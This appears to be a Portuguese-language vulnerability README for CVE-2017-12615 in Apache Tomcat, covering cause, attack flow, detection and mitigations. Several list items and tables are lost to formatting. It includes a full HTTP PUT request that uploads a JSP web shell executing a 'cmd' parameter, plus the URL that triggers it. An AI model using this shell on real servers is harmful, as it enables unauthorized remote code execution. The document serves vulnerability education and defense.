
CVE-2017-12615 - Apache Tomcat Remote Code Execution (RCE)
CVE-2017-12615 é uma vulnerabilidade de Execução Remota de Código (RCE) que afeta Apache Tomcat 7.0.0 até 7.0.79 executado em Microsoft Windows quando requisições HTTP PUT estão habilitadas.
A vulnerabilidade existe porque o Tomcat lida incorretamente com arquivos JSP enviados quando o DefaultServlet está configurado com o parâmetro readonly definido como false. Nessas condições, um atacante não autenticado pode enviar um arquivo JSP malicioso diretamente para o servidor web e executar código Java arbitrário simplesmente ao solicitar o arquivo enviado.
Essa vulnerabilidade se tornou um dos problemas de RCE mais conhecidos do Tomcat devido à facilidade de ser explorada contra servidores mal configurados.
readonly="false" configurado no DefaultServlet| Métrica |
|---|
Normalmente, o Apache Tomcat impede que usuários enviem arquivos JSP executáveis.
Porém, quando:
readonly=false)um atacante pode enviar um arquivo JSP diretamente para a raiz web.
Uma vez enviado, solicitar esse JSP faz com que o Tomcat o compile e execute, permitindo a execução de código Java arbitrário com os privilégios do serviço Tomcat.
Attacker
│
│ HTTP PUT
▼
Uploads malicious JSP shell
│
▼
Tomcat stores file
│
│ HTTP GET
▼
Requests uploaded JSP
│
▼
Tomcat compiles JSP
│
▼
Java code executes
│
▼
Remote Code Execution
Um ataque típico segue estas etapas:
.jsp malicioso.Nenhuma autenticação é necessária se o servidor estiver vulnerável.
Exemplo de requisição HTTP PUT:
PUT /shell.jsp HTTP/1.1
Host: victim.com
Content-Type: application/octet-stream
<%@ page import="java.io.*" %>
<%
Runtime.getRuntime().exec(request.getParameter("cmd"));
%>
Se bem-sucedido, o servidor responde com:
HTTP/1.1 201 Created
A carga útil pode então ser executada ao visitar:
http://victim.com/shell.jsp?cmd=whoami
Uma maneira simples de identificar sistemas vulneráveis é tentar enviar um JSP de teste inofensivo:
PUT /test.jsp
As respostas possíveis incluem:
201 Created
ou
204 No Content
Se o arquivo enviado puder posteriormente ser recuperado via HTTP, o servidor provavelmente está vulnerável.
A exploração bem-sucedida permite que um atacante:
As equipes de segurança devem investigar:
.jsp recém-criadosAs mitigações recomendadas incluem:
readonly="true".Este repositório destina-se exclusivamente a fins educacionais, pesquisa de segurança defensiva e testes de penetração autorizados. Não use estas informações contra sistemas sem permissão explícita.
| Valor |
|---|
| CVE | CVE-2017-12615 |
| CVSS v3 | 8.1 (Alta) |
| Vetor de Ataque | Rede |
| Privilégios Necessários | Nenhum |
| Interação do Usuário | Nenhuma |
| Impacto | Execução Remota de Código |
| Propriedade | Valor |
|---|
| Vulnerabilidade | Upload Arbitrário de JSP |
| CWE | CWE-434 - Upload sem Restrições de Arquivo com Tipo Perigoso |
| Autenticação Necessária | Não |
| Complexidade de Exploração | Baixa em configurações vulneráveis |
| Resultado | Execução Remota de Código |
| Plataforma | Windows |
| Serviço | Apache Tomcat |